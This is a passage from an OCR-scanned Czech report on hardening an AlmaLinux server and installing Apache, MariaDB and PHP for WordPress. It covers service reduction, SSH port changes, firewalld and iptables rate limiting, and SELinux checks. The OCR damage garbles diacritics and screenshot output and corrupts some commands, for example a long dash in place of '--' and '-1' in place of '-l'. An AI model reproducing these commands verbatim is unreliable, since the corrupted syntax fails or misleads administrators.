Cilem faze bylo vytvoreni bezpecného vychoziho stavu serveru, ktery minimalizuje riziko
neopravnéného pristupu nebo zneuZiti bézicich sluzeb.

2.2.1 Aktualizace systému

Bezprostiedné po vytvoreni serveru byla provedena aktualizace operacniho systému za Gcelem
odstranéni zndmych zranitelnosti a aplikace bezpecnostnich zaplat. Aktualizace byla realizovana
pomoci spravce bali¢kld DNF prikazem:

dnf update
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Zvolenym postupem bylo zajisténo, Ze vsechny nainstalované balicky odpovidaji nejnové;jsi
dostupné stabilni verzi v ramci pouZitych repozitarQ. Aktualizace systému predstavuje zasadni
bezpeénostni opatfeni, nebot vétsina Uspésnych utokd cili na jiz znamé a opravené chyby
v zastaralych verzich softwaru.

Nasledné byla provedena kontrola aktualnosti systému, pficemz vystup potvrdil, Ze Zadné dalsi
aktualizace nejsou k dispozici.

i jmareke@localhost:/home/jmarek an |

root@localhost: fhome/jmarek# dnf update

Posledni kontrola metadat: pfed 3:12:45, So 21. dnora 2026, 17:59:54.
Zavislosti wyfeSeny.

Neni co délat.

Hotovo!

root@localhost: /home/Jmarek# I

Obrazek 2: Kontrola aktualniho systému
Zdroj: Vlastni prdce

2.2.2 Vypnuti nepotfebnych sluzeb

V dalsi fazi byla provedena analyza bézicich sluzeb a otevienych sitovych portl. Cilem bylo
identifikovat komponenty, které nejsou pro zamysleny provoz serveru nezbytné.

Pro zobrazeni aktivnich sitovych spojeni a naslouchajicich sluzeb byl pouZzit pfikaz:
ss -tulpn
Vyznam jednotlivych parametru:

e t(TCP) - zobrazeni TCP soket(,

e u (UDP)-zobrazeni UDP soketd,
e | (listening) — zobrazeni sluzeb v rezimu naslouchani,
e p (processes)— zobrazeni procest vyuZivajicich dany port,
e n (numeric) — zobrazeni ¢iselnych hodnot portl bez prekladu nazvd.
- jm.mk@loalhoswtjhomjjmarek « = @ -
root@localhost:/ho jmarek# ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp  UNCONN @ [ 127.0.0.1:323 ©.0.0.0:* users:((“chronyd”, pid=1138, fd=5))
udp  UNCONN 9.0.0.0:5353 0.0.0.0:* users:(( avahi-daemon” pid=1094, fd=12))

udp  UNCONN 0.0.0.0:58889 0.0.0.0:* users:((“wsdd",pid=3513,fd=8))

udp UNCONN @ o 172.20.1@.11:3702 0.0.0.0:* users:((~ 13, fd=9))

udp  UNCONN © 0 239.255.255.250:3702 0.0.0.0:* users:(("wsdd", pid=3513, fd=7))

udp  UNCONN [::1]:323 [::1:= users:(( chronyd”, pid=1138, fd=6))

udp  UNCONN © 0 *:45501 s users: ((“wsdd",pid=3513,fd=13))

udp  UNCONN © 0 [FeB0::flce:7974:a21a:935¢]%eth@:546 [::]:% users: ((“NetworkManager ", pid=1216, fd=26))
udp  UNCONN [::]:5353 [::1:= users:(( avahi-daemon” pid=1094, fd=13))
udp  UNCONN [feB0::flce:7974:a21a:935e]%eth@:3702 [::]1:* users:(( wsdd", pid=3513, fd=14))

udp  UNCONN © 0 [FFO2: :c]%eth@:3702 [::]:= users:((“wsdd", pid=3513, fd=12))

tep  LISTEN © 4096 127.0.0.1:631 0.0.0.0:* users:(("cupsd”,pid=1225,fd=8))

tcp  LISTEN 128 0.0.0.0:22 0.0.0.0:* users:(( sshd”, pi 26,fd=7))

tep  LISTEN @ 128 1] 1:]:® users:((“sshd”,pid=1226,fd=8))

tcp  LISTEN © 4096 [::1]:631 [::]:% users:((“cupsd”,pid=1225,fd=7))

tcp  LISTEN 4096 *:9090 ¥ ¥ users:((“systemd” pid=1, fd=80))

arek# ||

Obrazek 3: Vypis otevienych sitovych portid a naslouchajicich sluzeb
Zdroj: Vlastni prdce

Na zakladé provedené analyzy byly identifikovany sluzby, jejichZ provoz nebyl pro dany typ
serveru vyZadovan. Vybrané sluzby byly deaktivovany s cilem minimalizovat mnoZstvi
potenciadlné zneuZitelnych komponent.
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Deaktivace sluzby CUPS. Sluzba CUPS, uréena pro spravu tiskovych uloh, byla vyhodnocena jako
nadbytecna, jelikoz server nebude vyuzivan pro tiskové operace.

Sluzba byla trvale deaktivovana pomoci ptikazu:
systemctl disable cups

¢imzZ bylo zabranéno jejimu automatickému spusténi po restartu systému. Nasledné byla
okamZité zastavena ptikazem:

systemctl stop cups

root@localhost:/home/jmarek# systemctl disable cups

Removed '/etc/systemd/system/sockets.target.wants/cups.socket’.
Removed '/etc/systemd/system/multi-user.target.wants/cups.service’.
Removed '/etc/systemd/system/multi-user.target.wants/cups.path’.
Removed '/etc/systemd/system/printer.target.wants/cups.service’.
root@localhost:/home/jmarek# systemctl stop cups
root@localhost:/home/jmarek#

Obrazek 4: Vypnuti sluzby cups
Zdroj: Vlastni prdce

Deaktivaci sluzby Cockpit bylo eliminovano riziko spojené s pfitomnosti webového grafického
rozhrani pro vzdalenou spravu serveru, které standardné nasloucha na portu 9090. Vzhledem
k realizaci sprdvy primarné prostfednictvim prikazové radky a protokolu SSH byla sluzba
vyhodnocena jako nadbyte¢na a ndsledné zakazana.

Byla deaktivovana pomoci prikaz:
systemctl disable cockpit.socket

systemctl stop cockpit.socket

root@localhost: /home/jmarek# systemctl disable cockpit.socket
Removed '/etc/systemd/system/sockets.target.wants/cockpit.socket’.
root@localhost: /home/jmarek# systemctl stop cockpit.socket

root@localhost: /home/jmarek#
Obrazek 5: Vypnuti sluzby cockpit
Zdroj: Vlastni prdce

Deaktivace sluzby Avahi. Sluzba Avahi slouZi k automatickému vyhledavani zafizeni v lokalni siti

3

bez nutnosti manualni konfigurace IP adres. Sluzba je typicky vyuZivana v uZivatelskych nebo
kancelarskych prostredich, nikoli na produkénim serveru.

Proto byla sluzba deaktivovana pomoci pfikaz(:
systemctl disable avahi-daemon

systemctl stop avahi-daemon
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root@localhost:/home/jmarek# systemctl disable avahi-daemon

Removed '/etc/systemd/system/sockets.target.wants/avahi-daemon.socket’.
Removed '/etc/systemd/system/dbus-org.freedesktop.Avahi.service’.

Removed '/etc/systemd/system/multi-user.target.wants/avahi-daemon.service'.

root@localhost:/home/jmarek# systemctl stop avahi-daemon

root@localhost:/home/jmarek# I
Obrazek 6: Vypnuti sluzby avahi
Zdroj: Vlastni prace

Deaktivaci sluzby WSDD bylo zamezeno viditelnosti serveru v prostfedi operacniho systému
Windows prostfednictvim sitového objevovani. Vzhledem k absenci pozadavku na bézné sdileni
v lokalni siti byla dana funkcionalita shledana nevyZzadovanou a sluzba byla nasledné vypnuta.

Sluzba byla deaktivovana prikazy:
systemctl disable wsdd

systemctl stop wsdd

root@localhost: /home/jmarek# systemctl disable wsdd
root@localhost: /home/jmarek# systemctl stop wsdd
root@localhost: /home/jmarek# l

Obrazek 7: Vypnuti sluzby wsdd
Zdroj: Vlastni prdce

Po deaktivaci uvedenych sluzeb byla opét provedena kontrola otevienych portd. Vypis potvrdil
vyrazné omezeni poctu naslouchajicich sluzeb. Aktivni zGstaly pouze nezbytné komponenty,
konkrétné:

e chronyd — sluZzba pro synchronizaci systémového ¢asu,
e NetworkManager — spréva sitového pfipojeni,
e SSH —vzdaleny pfistup k serveru.

Realizovanym krokem doslo k vyznamnému snizeni Uto¢né plochy systému.
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root@localhost:/home/jmarek# ss -tulpn

Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process

udp  UNCONN @ [’ 127.0.0.1:323 0.0.0.0:* users: ((“chronyd”,pid=1121,fd=5))

udp UNCONN @ 4] [::1]:323 [::]:* users:(( chronyd”,pid=1121,fd=6))

udp UNCONN @ 4} [fe80::flce:7974:a21a:935e]%eth@:546 [::]:* users:(("NetworkManager™ pid=1203,fd=22))
tep LISTEN @ 128 0.0.0.0:22 0.0.0.0:* users: (("sshd”, pid=1213,fd=7))

tep LISTEN @ 128 [::]:22 [::):* users:(("sshd”, pid=1213,fd=8))
root@localhost: /home/jmarek# ||

Obrazek 8: Vypis aktivnich portl po redukci Gtoéné plochy
Zdroj: Vlastni prdace

2.2.3 Zabezpeceni SSH

V dalsi fazi byla provedena konfigurace sluzby SSH, kterd predstavuje klicovy mechanismus
vzdalené spravy serveru.

Ve vychozim stavu byla sluzba SSH provozovana na standardnim portu 22. Z bezpecnostnich
dlvodu bylo rozhodnuto o zméné portu na hodnotu 32. Realizovanym opatienim byla snizena
pravdépodobnost automatizovanych utok(, které byvaji ¢asto zaméreny na vychozi porty
béznych sluzeb.

Zména byla provedena Upravou konfiguraéniho souboru /etc/ssh/sshd_config, kde byl parametr

port nastaven na hodnotu 32.

Soucasné bylo zakazano prihlasovani uZivatele root prostfednictvim SSH zménou parametru
PermitRootLogin Uplatnénym postupem bylo
administratorskym pristuplim z externi sité.

na hodnotu no. zamezeno primym

Po provedeni zmén bylo nezbytné:

e povolit novy port ve firewallu,

e odebrat plvodni port 22 z konfigurace firewallu,

e pfidat novy port do politiky SELinux,

e restartovat sluzbu SSH pomoci pfikazu systemctl restart sshd.

root@localhost: /home/jmarek# nano fetc/ssh/sshd_config

root@localhost: /home/jmarek# firewall-cmd --permanent --add-port=32/tcp
success

root@localhost: /home/jmarek# firewall-cmd --permanent --remove-service=ssh
success

root@localhost: /home/jmarek# firewall-cmd --reload

success

root@localhost: /home/jmarek# semanage port -1 | grep ssh

ssh_port_t tep 22

root@localhost: /home/jmarek# semanage port -a -t ssh_port_t -p tcp 32
root@localhost: /home/jmarek# systemctl restart sshd

root@localhost: /home/jmarek#

Obrazek 9: Zména portl na firewallu a SELinuxu

Zdroj: Vlastni prdce
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’

Zvolend opatreni zajistila, Ze vzdaleny pfistup k serveru je omezen, fizen a chranén proti béZznym
formam automatizovanych utokd.

Zavérem lze konstatovat, Ze provedené kroky vytvofily stabilni a bezpecny vychozi stav serveru.
Vytvoreny stav bude v nasledujicich kapitoldch ddle rozSifovdan o pokrodilejsi bezpecnostni
mechanismy a aplika¢ni ochranu.

2.3 Kontrola firewallu a SELinux (prakticky)

Bylo nutné také zkontrolovat stav firewallu a ndstroje SELinux, zda jsou sluzby aktivni a spravné
nastavené. Po provedeni téchto krok( bude systém zakladné zabezpelen proti béznym sitovym
utoklim a neopravnénému pristupu k soubordm.

2.3.1 Kontrola firewallu

Firewall kontroluje, jaka sitova komunikace mlze na server pfichazet a jakd data mize server
pfijimat nebo odesilat. V systému Almalinux je standardné pouZivan firewall firewalld.

’

Nejprve bylo nutné zjistit, zda firewall na serveru bézi. K realizaci byly vyuzZity nasledujici pfikazy:
firewall-cmd —state
systemctl status firewalld

Po provedeni prvniho ptikazu se zobrazi jednoduchy vypis running, ktery potvrzuje, Ze firewall
bézi. Druhy pfikaz poskytuje podrobnéjsi informace o stavu sluzby.

r o

@ jmarek@localhost:;/home/jmarek T

rek# firewall-cmd --state
running
1 rek# systemctl status firewalld
® firewalld.service - firewalld - dynamic firewall daemon
Loaded: loaded (/usr/lib/systemd/system/firewalld.service; enabled; preset: enabled)
Active: active (running) since Sun 2026-02-22 19:47:43 CET; 34min ago
Invocation: eba86fae@eb24df@baf5967caed83cfc
Docs: man:firewalld(l)
Process: 1176 ExecStartPost=/usr/bin/firewall-cmd --state (code=exited, status=0/SUCCESS)
Main PID: 1164 (firewalld)
Tasks: 2
Memory: 51.3M (peak: 72.4M)
CPU: 831ms
CGroup: /system.slice/firewalld.service
L

uno 22 19:47:43 localhost systemd[1]: Starting firewalld.service - firewalld - dynamic firewall daemf
Uno 22 19:47:43 localhost systemd[1]: Started firewalld.service - firewalld - dynamic firewall daemoj
R e ok#

Obrazek 10: Kontrola, zda firewall bézi
Zdroj: Vlastni prdce

Dale bylo nutné zjistit, ktera zéna je nastavena jako vychozi. K provedeni byl vyuzit prikaz:

firewall-cmd --get-default-zone
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root@localhost:/home/jmarek# firewall-cmd --get-default-zone
public
root@localhost:/home/jmarek# l

Obrazek 11: Ovéreni vychozi zény firewallu
Zdroj: Vlastni prdace

Zobrazen kompletni vypis konfigurace firewallu pomoci prikazu:

firewall-cmd --list-all

root@localhost:/home/jmarek# firewall-cmd --list-all
public (default, active)
target: default
ingress-priority: @
egress-priority: @
icmp-block-inversion: no
interfaces: eth@
sources:
services: cockpit dhcpv6-client ssh
ports:
protocols:
forward: yes
masquerade: no
forward-ports:
source-ports:
icmp-blocks:
rich rules:
root@localhost: /home/jmarek# l

Obrazek 12: Vypis kompletni konfigurace firewallu
Zdroj: Vlastni prdce

Pro zvySeni Urovné zabezpeceni serveru byla provedena konfigurace firewallu pomoci ndastroje
iptables, ktera umoznuje fizeni sitového provozu na zakladé definovanych pravidel. Konkrétné
byla nastavena pravidla omezujici pocet poZadavkid z jedné IP adresy, ¢imz se snizuje riziko
zneuZiti sluzby napfiklad pfi brute-force nebo DoS utocich.

Byly pouzity nasledujici prikazy:
iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 3 -j ACCEPT
iptables -A INPUT -p tcp --syn -j DROP
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jmarek@localhost;/home/jmarek -

jmarek# iptables -A INPUT -p tcp --syn -m Llimit --Tlimit 1/s --Timit-burst 3 -j ACCEPT

jmarek# iptables -A INPUT -p tcp --syn -j DROP
arek#

Obrazek 13: Nastaveni omezeni poctu TCP spojeni
Zdroj: Vlastni prdace

Prvni prikaz pfidava pravidlo do fetézce INPUT, které se aplikuje na pfichozi TCP spojeni se SYN
pfiznakem, tedy na pokusy o navdzani nového spojeni. Modul limit omezuje pocet téchto
pozadavk( na maximalné jeden za sekundu, pficemz kratkodobé umoznuje prekroceni limitu
az na tfi pozadavky (parametr limit-burst). Pokud poZadavky spliuji uvedena kritéria, jsou
povoleny.

Druhy pfikaz definuje pravidlo, které zahodi vSechny ostatni pfichozi TCP poZadavky se SYN
pfiznakem, které nespliuji podminky predchoziho pravidla. Vysledkem je, Ze nadmérny pocet
pokusll o navazani spojeni z jedné IP adresy je blokovan.

Realizované nastaveni omezuje pocet pozadavkd, které mUzZe jedna IP adresa odeslat v daném
¢asovém intervalu, a tim pomdaha chranit server pred pretizenim nebo pokusy o prolomeni
pfistupu.

V budoucnu lze bezpecnostni politiku rozsifit o pravidlo omezujici pocet soubéznych spojeni. Je
vsak nutné vzit v Gvahu, Ze tento pfistup muize byt v urcitych scénafich znaéné neefektivni az
kontraproduktivni. Pokud by se k serveru pokusilo pristoupit vétsi mnozstvi uzivatel( sdilejicich
stejnou verejnou IP adresu (napfiklad zaméstnanci v ramci jedné firemni sité za NAT), limit by
mohl byt rychle vyéerpan, coz by legitimnim uzivateldm znemoznilo pfistup ke strance.

K implementaci tohoto omezeni slouzi nasledujici pfikaz:
iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 20 -j DROP

Firewall byl jiz vyuzivan pfi konfiguraci sluzby SSH a bude dale poutzit také pti konfiguraci dalSich
sluZeb bézicich na serveru.

2.3.2 Kontrola SELinux

Bezpecnostni mechanismus SELinux slouZi k Fizeni pFistupu jednotlivych sluzeb k systémovym
souborlim a procesiim. Pomoci bezpecnostnich politik urcuje, ke kterym souborlim nebo
systémovym prostifedkdim muze konkrétni sluzba pristupovat.

Pro ovéreni aktudlniho rezimu SELinux byl pouZit pfikaz:
getenforce
Vystupem prikazu je jeden ze tfi mozZnych stav(:

e Enforcing — bezpecnostni politiky jsou aktivné vynucovany,
e Permissive — pravidla jsou pouze monitorovana, ale nejsou vynucovana,
e Disabled — SELinux je zcela vypnut.

V uvedeném pripadé byl vystupem stav Enforcing, coZ potvrzovalo, Ze definovana bezpecnostni
pravidla jsou systémem aktivné vynucovdna a aplikovana.
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root@localhost: /home/jmarek# getenforce
Enforcing
root@localhost: /home/jmarek# I

Obrazek 14: Ovéreni stavu SELinuxu
Zdroj: Vlastni prdace

Pro detailnéjsi konfiguraci o SELinuxu lIze pouzit pfikaz:

sestatus

root@localhost: /home/jmarek# sestatus

SELinux status: enabled
SELinuxfs mount: /sys/fs/selinux
SELinux root directory: Jfetec/selinux
Loaded policy name: targeted
Current mode: enforcing

Mode from config file: enforcing
Policy MLS status: enabled

Policy deny_unknown status: allowed

Memory protection checking: actual (secure)
Max kernel policy version: 33

root@localhost: /home/jmarek# l

Obrazek 15: Detailnéjsi vypis konfigurace SELinuxu
Zdroj: Vlastni prdce

2.4 Nasazeni sluzby s daty (WordPress + Apache + DB)

Na server bylo nutné nasadit konkrétni sluzby a naplnit jej testovacimi daty. Cilem bylo vytvofit
prostredi, na kterém bude moZné simulovat bezpecnostni incidenty a nasledné vyhodnotit, zda
doslo k uniku dat nebo k jejich naruseni.

Jako aplikacni sluzba byl zvolen redakéni systém WordPress, ktery umoZiuje tvorbu a spravu
webovych stranek. Pro jeho provoz bylo nutné nainstalovat a nakonfigurovat takzvany LAMP
stack.

LAMP je zkratka pro nasledujici komponenty:

e Linux —operacni systém, na kterém server bézi,

e Apache — webovy server zajistujici HTTP komunikaci,

e MariaDB —rela¢ni databazovy systém pro ukladani dat,

e PHP — skriptovaci jazyk umoZnujici dynamické generovani webovych stranek.

Uvedena kombinace byla zvolena jako standardni prostfedi pro provoz webovych aplikaci.
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2.4.1 Instalace Apache

Apache HTTP Server je jeden z nejpouzivanéjsich webovych serverd na Linuxovych operacnich
systémech.

7vs

Distribuce AlmalLinux obsahuje instalacni bali¢ek Apache ve svych oficialnich repozitafich, proto
bylo moZné server nainstalovat pomoci pfikazu:

dnf install httpd

root@localhost:/home/jmarek# dnf install httpd
Posledni kontrola metadat: pred 23:14:29, Ut 24. Gnora 2026, 14:09:13.
Zavislosti vyreseny.

Balicek Arch Verze Repozitar Veliko
st

Instalovanti:

httpd x86_64 2.4.63-4.el110_1.3 appstream 47 k
Instalovani zavislosti:

almalinux-logos-httpd noarch 100.3-3.el110_0 appstream 18 k
apr x86_64 1.7.5-2.el10 appstream 128 k
apr-util x86_64 1.6.3-23.el10_1 appstream 97 k
apr-util-lmdb x86_64 1.6.3-23.el10_1 appstream 13 k
httpd-core x86_64 2.4.63-4.e110_1.3 appstream 1.4 M
httpd-filesystem noarch 2.4.63-4.el110_1.3 appstream 13 k
httpd-tools x86_64 2.4.63-4.el110_1.3 appstream 81 k
Instalovani slabych zavislosti:

apr-util-openssl x86_64 1.6.3-23.el10_1 appstream 15 k
mod_http2 x86_64 2.0.29-3.el10 appstream 161 k
mod_lua x86_64 2.4.63-4.e110_1.3 appstream 59 k

Shrnuti transakce

Obrazek 16: Instalace webového serveru
Zdroj: Vlastni prdce

Po instalaci bylo nutné sluzbu spustit a nastavit jeji automatické spousténi pfi startu systému,
pomoci prikaz:

systemctl start httpd

systemctl enable httpd

root@localhost: /home/jmarek# systemctl start httpd

root@localhost:/home/ jmarek# systemctl enable httpd

Created symlink '/etc/systemd/system/multi-user.target.wants/httpd.service’ = '/
usr/lib/systemd/system/httpd.service’.

root@localhost:/home/jmarek# I

Obrazek 17: Spusténi webového serveru
Zdroj: Vlastni prdace

Stav sluzby Ize ovéfrit prikazem:
systemctl status httpd

Vystup prikazu potvrzuje, Ze sluzba je aktivni (active) a povolena (enabled).
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® httpd.service - The Apache HTTP Server

Loaded: loaded (/usr/1ib{systemd/system/httpd.servtce: enabled; preset: )

Active: active (running) since Wed 2026-02-25 13:25:22 CET; 2Zmin 2s ago

Invocation: Qedebf3512984@34812b7c78cb285bb5S

Docs: man:httpd.service(g)

Main PID: 3708 (httpd)

uno
uno
ano
ano
ano

Status: “Total requests:

Tasks: 177 (limit: 22903)
Memory: 14.3M (peak: 15M)
CPU: 149ms
CGroup: /httpd.service
sr/sbin/httpd -DFOREGROUND

/sbin/httpd -DFOR )
/sbin/httpd -DFOREGR
fsbin/httpd -DFOREGROUND

/sbin/httpd -DFOREGROUND

25 13:25:22 localhost systemd[1]: Starting httpd.service - The Apache HTTP Server...
25 13:25:22 localhost (httpd)[3708]:

25 13:25:22 localhost httpd[3708]: AH2O558: httpd: Could not reliably determine the server's fully

25 13:25:22 localhost httpd[3708]: Server configured, listening on: port 8@
25 13:25:22 localhost systemd[1]: Started httpd.service - The Apache HTTP Server.

[

Obrazek 18: Informace o webovém serveru
Zdroj: Vlastni prdce

@; Idle/Busy workers 100/0;Requests/sec: 0; Bytes served/sec: @ B/sec”

Aby byl webovy server dostupny ze sité, bylo nutné povolit HTTP a HTTPS komunikaci
na firewallu. Pomoci prikaz(:

firewall-cmd --permanent --add-service=http

firewall-cmd --permanent --add-service=https

firewall-cmd —reload

root@localhost: /home/jmarek# firewall-cmd --permanent --add-service=http

success
root@localhost: /home/jmarek# firewall-cmd --permanent --add-service=https
success

root@localhost: /home/jmarek# firewall-cmd --reload

sSuccess

root@localhost: /home/jmarek# I

Obrazek 19: Konfigurace firewallu pro webovy server
Zdroj: Vlastni prdce

Po provedeni konfigurace bylo mozné ovéfit funkénost serveru zadanim IP adresy rozhrani

do webového prohlizece. Zobrazila se vychozi testovaci stranka Apache, coZ potvrzuje spravnou

instalaci a konfiguraci.
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Test Page for the HTTP Serv X +

c QO & Nezabezpeceno 192.168.0.10

 AlmaLinux

Web Server Test Page

This page is used to test the proper operation of the HTTP server after it has been installed. If you can read this page, it means that the HTTP

server installed at this site is working properly.

If you are a member of the general public:

The fact that you are seeing this page indicates that the

website you just visited is either experiencing problems, or

is undergoing routine maintenance.

If you would like to let the administrators of this website
know that you've seen this page instead of the page you
expected, you should send them e-mail. In general, mail
sent to the name "webmaster” and directed to the
website's domain should reach the appropriate person.

For example, if you experienced problems while visiting
www.example.com, you should send e-mail to
"webmaster@example.com”.

For information on AlmaLinux, please visit the AlmaLinux
website. The documentation for AlmaLinux is available in
AlmaLinux wiki.

If you are the website administrator:

‘You may now add content to the webroot directory. Note
that until you do so, people visiting your website will see
this page, and not your content.

For systems using the Apache HTTP Server: You may now
add content to the directory svar/ww/htmls. Note that until
you do so, people visiting your website will see this page,
and not your content. To prevent this page from ever being
used, follow the instructions in the file setcshttpdsconf.ds
welcome.conf.

For systems using NGINX: You should now put your
content in a location of your choice and edit the root
configuration directive in the nginx configuration file /etcs

nginx/nginx. conf.

Obrazek 20: Kontrola funkcénosti webového serveru
Zdroj: Vlastni prdce

2.4.2 Instalace MariaDB databaze

MariaDB je open source relacni databazovy systém, ktery patfi mezi nejpouzivanéjsi databdzova
feSeni pro webové aplikace. Je plné kompatibilni s databdazovym systémem MySQL a je casto
vyuzivan jako jeho nahrada.

V pripadé distribuce AlmaLinux neni nutné pridavat Zzadné externi repozitare, protoze potirebné
balicky jsou dostupné v oficidlnich repozitafich systému. Instalace databazového serveru byla
provedena pomoci nasledujiciho pfikazu:

dnf install mariadb-server mariadb
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root@localhost:/home/jmarek# dnf install mariadb-server mariadb
Posledni kontrola metadat: pred 0:05:34, Ct 26. Unora 2026, 19:45:48.
Zavislosti vyreseny.

Balicek Arch Verze Repozitar Veliko
st

Instalovanti:

mariadb x86_64 3:10.11.15-1.el10_1 appstream 1.6 M
mariadb-server x86_64 3:10.11.15-1.el10_1 appstream 10 M
Instalovani zavislosti:

mariadb-common noarch 3:10.11.15-1.el10_1 appstream 29 k
mariadb-connector-c x86_64 3.4.4-1.el10 baseos 206 k
mariadb-connector-c-config noarch 3.4.4-1.el10 baseos 8.9 k
mariadb-errmsg noarch 3:10.11.15-1.el10_1 appstream 255 k
mysql-selinux noarch 1.0.14-1.e110_0 appstream 37 k
perl-DBD-MariaDB x86_64 1.23-10.ell0 appstream 153 k
perl-File-Copy noarch  2.41-512.2.e110_0 appstream 20 k
perl-Sys-Hostname x86_64 1.25-512.2.e110_0 appstream 17 k
Instalovani slabych zavislosti:

mariadb-backup x86_64 3:10.11.15-1.ell10_1 appstream 6.5 M
mariadb-client-utils x86_64 3:10.11.15-1.el10_1 appstream 39 k
mariadb-gssapi-server x86_64 3:10.11.15-1.el10_1 appstream 17 k

. mariadb-server-utils x86_64 3:10.11.15-1.el10_1 appstream 255 k |

Obrazek 21: Instalace databazového serveru MariaDB
Zdroj: Vlastni prdce

Po dokonceni instalace bylo nutné databdzovou sluzbu spustit a zaroven nastavit jeji
automatické spusténi pfi startu systému. K realizaci byly vyuzity nasledujici ptikazy:

systemctl start mariadb

systemctl enable mariadb

root@localhost: /home/jmarek# systemctl start mariadb

root@localhost: /home/jmarek# systemctl enable mariadb

Created symlink "Jetc/systemd/system/mysqgl.service’ = "Jusr/lib/systemd/system/mariadb.service’.

Created symlink "/etc/systemd/system/mysqld.service’ = 'fusr/lib/systemd/system/mariadb.service’.

Created symlink °/etc/systemd/system/multi-user.target.wants/mariadb.service’ - "fusr/lib/systemd/system/mariadb.service’.
root@localhost: /home/ jmarek#

Obrazek 22: Spusténi databazového serveru
Zdroj: Vlastni prdce

Funkénost databazové sluzby Ize ovéfit pomoci prikazu:
systemctl status mariadb

Prostfednictvim uvedeného pfikazu byly zobrazeny informace o aktudlnim stavu sluzby, véetné
Gdajd o aktivité a spravném chodu daného procesu.
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@ mariadb.service - MariaDB 10.11 database server
Loaded: loaded (/usr/lib/systemd/system/mariadb.service: enabled: preset: )
Active: active (running) since Thu 2826-02-26 19:54:07 CET; 1lmin 9s ago
Invecation: cbfb2dclcce745038013F871319d574¢c
Docs: man:mariedbd(8)
) adb, confkb/en/1ibrary/systead/
Main PID: 5496 (mariadbd)
Status: “Taking your SOL requests now...~
Tasks: 8 (limit: 22903)
Memory: 111.9M (peak: 138.6M)
CPU: 42%ms
CGroup: /system.slice/mariadb.service
5496 fusr/libexec/mariadbd --basedir=/fusr

une 26 19:54:07 localhost mariadb-prepare-db-dir[5447]: you need to be the system 'mysql’ user to connect.

uno 26 19:54:87 localhost mariadb-prepare-db-dir[5447]: After connecting you can set the password, if you would need to be
une 26 19:54:07 localhest mariadb-prepare-db-dir[5447]: able to connect as any of these users with a password and without I
une 26 19:54:07 lecalhost mariadb-prepare-db-dir[5447]: See the MariaDB Knewledgebase at https://mariadb.com/kb

uno 26 19:54:@7 localhost mariadb-prepare-db-dir[5447]: Please report any problems at https://mariadb.org/jira

uno 26 19:54:07 localhost mariadb-prepare-db-dir[5447]: The latest information about MariaDB is available at https:ﬂmarial
uno 26 19:54:07 lecalhost mariadb-prepare-db-dir[5447]: Consider joining MariaDB's strong and vibrant community:

Obrazek 23: Kontrola stavu databazového serveru
Zdroj: Vlastni prace

Po instalaci databazového serveru je doporuceno provést zakladni bezpecnostni konfiguraci.
K realizaci byl vyuzit nastroj:

mysql_secure_installation

Uvedeny nastroj umoznil naptiklad nastaveni hesla administratorského Gctu databaze,
odstranéni anonymnich uZivatell, zakazani vzdaleného prihlaseni administratora a odstranéni
testovaci databaze.

root@localhost: /home/jmarek# mysql_secure_installation

NOTE: RUNNING ALL PARTS OF THIS SCRIPT IS RECOMMENDED FOR ALL MariaDB
SERVERS IN PRODUCTION USE! PLEASE READ EACH STEP CAREFULLY!

In order to log into MariaDB to secure it, we'll need the current
password for the root user. If you've just installed MariaDB, and
haven't set the root password yet, you should just press enter here.

Enter current password for root (enter for none):
0K, successfully used password, moving on...

Setting the root password or using the unix_socket ensures that nobody
can log into the MariaDB root user without the proper authorisation.

You already have your root account protected, so you can safely answer 'n’
Switch to unix_socket authentication [Y/n] I

Obrazek 24: Zabezpeceni databazového severu
Zdroj: Vlastni prdace

Po provedeni bezpecnostni konfigurace byl databazovy server restartovan, aby se vsechny
zmény spravneé projevily:

systemctl restart mariadb
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root@localhost: /home/ jmarek# systemctl restart mariadb
root@localhost: fhome/jmarek# I

Obrazek 25: Restart databazového serveru
Zdroj: Vlastni prdce

2.4.3 Instalace PHP

Pro spravné fungovani redakéniho systému WordPress je nutné mit na serveru nainstalovany
skriptovaci jazyk PHP. PHP slouZi ke generovani dynamického obsahu webovych stranek
a umozZnuje komunikaci mezi webovym serverem a databazi.

Bylo potreba zjistit, jakou verzi PHP ma Almalinux v repozitafich, protoze pro WordPress je
potfeba minimalni verze 8. Pro ziskani detailnich informaci o bali¢cku PHP byl pouzZit pfikaz:

dnf info php

root@localhost:/home/jmarek# dnf info php
Posledni kontrola metadat: pfed ©:25:09, Ct 26. (nora 2026, 20:06:34.
Dostupné balicky

Nazev : php

Verze 1 8.3.29

Vydani : 1l.ello 1

Architektura : x86_64

Velikost 1 8.3k

Zdroj : php-8.3.29-1.e110_1.src.rpm

Repozitar . appstream

Souhrn . PHP scripting language for creating dynamic web sites

URL : http://www.php.net/

Licence : PHP-3.01 AND Zend-2.@ AND BSD-2-Clause AND MIT AND Apache-1.0 AND NCSA AND BSL-1.0
Popis : PHP is an HTML-embedded scripting language. PHP attempts to make it

: easy for developers to write dynamically generated web pages. PHP also
: offers built-in database integration for several commercial and

: non-commercial database management systems, so writing a

: database-enabled webpage with PHP is fairly simple. The most common

: use of PHP coding is probably as a replacement for CGI scripts.

root@localhost: /home/jmarek# l

Obrazek 26: Informace o balicku PHP
Zdroj: Vlastni prdce

Samotna instalace PHP byla provedena spolec¢né s nékolika rozsifujicimi moduly, které jsou
potiebné pro spravné fungovani systému WordPress. Instalace probéhla pomoci nésledujiciho
prikazu:

dnf install php php-curl php-bcmath php-gd php-soap php-zip php-mbstring php-mysqind php-
xml php-intl.
Tyto moduly rozsifuji zakladni funkénost jazyka PHP napfiklad o:

e komunikaci s databazi,

e pracis obrazky,

e podporu komprese soubort,

e praci s fetézci a kddovanim znaka,
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e podporu webovych sluzeb.

root@localhost:/home/imarek# dnf install php php-curl php-bcmath php-gd php-scap php-zip php-mbstring php-mysqlnd php-xml php-intl
Posledni kontrola metadat: pfed ©:41:51, Pa 6. bfezna 2026, 21:32:02.
Zavislosti wyrfegeny.

Balicek Architektura Verze Repozitar Veliko
st

Instalovani:

php xB86_64 8.3.29-1.ell10_1 appstream 8.3 k
php-bcmath xB6_64 8.3.29-1.e110_1 appstrean 34 k
php-common xB86_64 8.3.29-1.ell10_1 appstream 707 k
php-gd xB86_64 8.3.29-1.el10_1 appstream 39 k
php-intl xB86_64 8.3.29-1.el10_1 appstream 163 k
php-mbstring xB86_64 8.3.29-1.ell10_1 appstream 521 k
